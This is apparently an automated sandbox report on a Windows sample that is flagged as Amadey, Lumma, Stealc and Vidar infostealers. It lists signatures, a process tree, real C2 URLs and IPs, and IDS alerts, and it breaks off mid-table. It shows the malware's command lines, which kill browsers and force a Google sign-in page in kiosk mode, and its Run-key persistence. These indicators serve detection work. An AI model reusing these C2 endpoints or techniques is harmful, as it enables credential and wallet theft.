Edit tour

Windows Analysis Report
g4Cyr2T5jq.exe

Overview

General Information

Sample name:	g4Cyr2T5jq.exe renamed because original name is a hash value
Original sample name:	7d31fad9b219d539d3c5915dff14a669.exe
Analysis ID:	1540827
MD5:	7d31fad9b219d539d3c5915dff14a669
SHA1:	dbe2d2eb17f70be6e9646e56c3a0085fe434988e
SHA256:	80ea1e48313acf9319d608d3afe7733cd466d8451ad89b61c4b09c0f7c0764a2
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, Credential Flusher, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has a writeable .text section

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

g4Cyr2T5jq.exe (PID: 5032 cmdline: "C:\Users\user\Desktop\g4Cyr2T5jq.exe" MD5: 7D31FAD9B219D539D3C5915DFF14A669)

skotes.exe (PID: 2724 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 7D31FAD9B219D539D3C5915DFF14A669)

skotes.exe (PID: 3228 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7D31FAD9B219D539D3C5915DFF14A669)

skotes.exe (PID: 4268 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 7D31FAD9B219D539D3C5915DFF14A669)

f84005b97f.exe (PID: 2924 cmdline: "C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe" MD5: 30FCEAD7FF4FC69F9DA4ECFA4837AD83)

7e96f85771.exe (PID: 1672 cmdline: "C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe" MD5: 2CD42CDA18A7285D3B070C15699B975A)

88edf6a100.exe (PID: 6848 cmdline: "C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe" MD5: 7D14662A9C03A2F5C76282EF751E4D00)

taskkill.exe (PID: 3792 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6092 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5804 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6820 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3576 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 2696 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 3196 cmdline: "C:\Users\user\AppData\Local\Temp\1001137001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

f84005b97f.exe (PID: 6148 cmdline: "C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe" MD5: 30FCEAD7FF4FC69F9DA4ECFA4837AD83)

firefox.exe (PID: 5004 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5040 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2972 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2172 -parentBuildID 20230927232528 -prefsHandle 2120 -prefMapHandle 2112 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e8f79fb1-7992-418d-8066-e9420ef7e2ed} 5040 "\\.\pipe\gecko-crash-server-pipe.5040" 2881366dd10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2924 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3408 -parentBuildID 20230927232528 -prefsHandle 1796 -prefMapHandle 3296 -prefsLen 26395 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {225d9705-84ed-4a26-82df-72d52f28abca} 5040 "\\.\pipe\gecko-crash-server-pipe.5040" 28823e5ac10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

7e96f85771.exe (PID: 5460 cmdline: "C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe" MD5: 2CD42CDA18A7285D3B070C15699B975A)

88edf6a100.exe (PID: 6572 cmdline: "C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe" MD5: 7D14662A9C03A2F5C76282EF751E4D00)

taskkill.exe (PID: 6384 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4288 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5860 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4052 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6760 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 1196 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6768 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 736 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2136 -parentBuildID 20230927232528 -prefsHandle 2072 -prefMapHandle 2064 -prefsLen 25350 -prefMapSize 238051 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {64e16daa-e3c5-4180-ad1c-d8059eba0827} 6768 "\\.\pipe\gecko-crash-server-pipe.6768" 1eeea770d10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 5764 cmdline: "C:\Users\user\AppData\Local\Temp\1001137001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

f84005b97f.exe (PID: 5800 cmdline: "C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe" MD5: 30FCEAD7FF4FC69F9DA4ECFA4837AD83)

7e96f85771.exe (PID: 5940 cmdline: "C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe" MD5: 2CD42CDA18A7285D3B070C15699B975A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1001137001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1001137001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001B.00000000.2989582448.0000000000041000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2995975951.0000000001160000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000008.00000002.3164480115.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.2635193986.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.2874827283.00000000051B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2170764560.00000000004E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2193890325.0000000000E81000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.3246728822.0000000000041000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.3198812078.0000000000811000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000003.2153124653.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.3294064739.0000000001447000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.3248429652.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.3201845149.000000000167B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.2204100473.0000000000E81000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2084121565.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000003.2162980289.0000000005340000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.3286511778.0000000000041000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000002.3168952289.000000000140E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000008.00000002.3168952289.000000000140E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.3168952289.000000000140E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000003.3235221216.0000000000DBF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000001A.00000003.3018637776.00000000052A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000000.3150281953.0000000000041000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 7e96f85771.exe PID: 1672	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 7e96f85771.exe PID: 1672	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7e96f85771.exe PID: 1672	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 7e96f85771.exe PID: 1672	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 88edf6a100.exe PID: 6848	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author
32.0.num.exe.40000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
27.0.num.exe.40000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.skotes.exe.e80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.num.exe.40000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
27.2.num.exe.40000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.skotes.exe.e80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.7e96f85771.exe.810000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
26.2.7e96f85771.exe.810000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.g4Cyr2T5jq.exe.4e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.e80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4268, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f84005b97f.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4268, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f84005b97f.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:19.826236+0200	2054653	1	A Network Trojan was detected	192.168.2.5	61011	104.21.53.8	443	TCP
2024-10-24T08:39:09.812534+0200	2054653	1	A Network Trojan was detected	192.168.2.5	61076	104.21.53.8	443	TCP
2024-10-24T08:39:11.140640+0200	2054653	1	A Network Trojan was detected	192.168.2.5	61079	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:19.826236+0200	2049836	1	A Network Trojan was detected	192.168.2.5	61011	104.21.53.8	443	TCP
2024-10-24T08:39:09.812534+0200	2049836	1	A Network Trojan was detected	192.168.2.5	61076	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:39:11.140640+0200	2049812	1	A Network Trojan was detected	192.168.2.5	61079	104.21.53.8	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:35.438482+0200	2019714	2	Potentially Bad Traffic	192.168.2.5	61018	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:17.609089+0200	2044696	1	A Network Trojan was detected	192.168.2.5	61008	185.215.113.43	80	TCP
2024-10-24T08:38:26.804428+0200	2044696	1	A Network Trojan was detected	192.168.2.5	61013	185.215.113.43	80	TCP
2024-10-24T08:38:34.493368+0200	2044696	1	A Network Trojan was detected	192.168.2.5	61017	185.215.113.43	80	TCP
2024-10-24T08:38:40.469036+0200	2044696	1	A Network Trojan was detected	192.168.2.5	61027	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:17.002116+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.5	60882	1.1.1.1	53	UDP
2024-10-24T08:38:31.528750+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.5	52892	1.1.1.1	53	UDP
2024-10-24T08:39:06.855932+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.5	64381	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:16.940458+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	55933	1.1.1.1	53	UDP
2024-10-24T08:38:31.459636+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	50650	1.1.1.1	53	UDP
2024-10-24T08:39:06.759594+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.5	55996	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:16.978614+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.5	62917	1.1.1.1	53	UDP
2024-10-24T08:38:31.503388+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.5	60339	1.1.1.1	53	UDP
2024-10-24T08:39:06.829954+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.5	63481	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:16.966380+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.5	64436	1.1.1.1	53	UDP
2024-10-24T08:38:31.491356+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.5	49672	1.1.1.1	53	UDP
2024-10-24T08:39:06.818813+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.5	53787	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:17.027588+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	56049	1.1.1.1	53	UDP
2024-10-24T08:38:31.552125+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	61295	1.1.1.1	53	UDP
2024-10-24T08:39:06.881164+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.5	52542	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:16.953815+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.5	53062	1.1.1.1	53	UDP
2024-10-24T08:38:31.472131+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.5	53956	1.1.1.1	53	UDP
2024-10-24T08:39:06.771946+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.5	51551	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:17.016310+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.5	49749	1.1.1.1	53	UDP
2024-10-24T08:38:31.540005+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.5	64789	1.1.1.1	53	UDP
2024-10-24T08:39:06.868402+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.5	64826	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:16.990405+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.5	63961	1.1.1.1	53	UDP
2024-10-24T08:38:31.515942+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.5	62669	1.1.1.1	53	UDP
2024-10-24T08:39:06.840777+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.5	60782	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:38:28.237186+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	61014	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
